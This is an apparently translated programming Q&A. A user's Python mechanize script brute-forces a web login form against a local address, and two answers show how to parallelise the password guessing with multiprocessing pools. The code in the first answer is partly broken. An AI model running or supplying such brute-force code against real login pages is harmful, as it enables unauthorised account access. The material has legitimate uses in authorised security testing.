2016-09-21 74 views
-1

我有一個使用python mechanize和bruteforce html格式的腳本。這是一個for循環,用於檢查「PassList」中的每個密碼,並通過檢查重定向的url來運行,直到它與當前密碼匹配。我如何能實現這裏如何在for循環中使用多處理 - python

for x in PasswordList:   
    br.form['password'] = ''.join(x) 
    print "Bruteforce in progress.. checking : ",br.form['password'] 
    response=br.submit() 

    if response.geturl()=="http://192.168.1.106/success.html": 
     #url to which the page is redirected after login 
     print "\n Correct password is ",''.join(x) 
     break 

回答

1

我希望這不是惡意目的。

我從來沒有使用Python機械化,但看到你沒有答案我可以分享我所知道的,你可以相應地修改它。

一般來說,它需要是它自己的功能,然後您可以調用池。我不知道你的br對象,但我可能會推薦擁有許多這些對象來防止任何衝突。 (可以嘗試用相同的BR對象壽,相應地修改代碼)

list_of_br_and_passwords = [[br_obj,'password1'],[br_obj,'password2'] ...] 

from multiprocessing import Pool 
from multiprocessing import cpu_count 

def crackPassword(lst): 
    br_obj = lst[0] 
    password = lst[1] 
    br.form['password'] = ''.join(password) 
    print "Bruteforce in progress.. checking : ",br.form['password'] 
    response=br.submit() 

pool = Pool(cpu_count() * 2) 
crack_password = pool.map(crackPassword,list_of_br_and_passwords) 
pool.close() 

再次,這是不是一個完整的答案,只是如何做多處理

+0

我想這不是爲了惡意目的,我的意思是,它不夠複雜,真的有效,如果目標已驗證,它將無法正常工作。 – PyNico

+0

感謝您的回覆。這只是爲了測試目的沒有什麼惡意的,這裏br = mechanize.Browser() – Susmith

1
from multiprocessing import Pool 

def process_bruteforce(PasswordList): 
    <process> 

if __name__ == '__main__': 
    pool = Pool(processes=4)    # process per core 
    is_connected = pool.map(process_bruteforce, PasswordList) 

多處理我會嘗試這樣的事情

+0

謝謝你的一般準則,讓我檢查一下出 – Susmith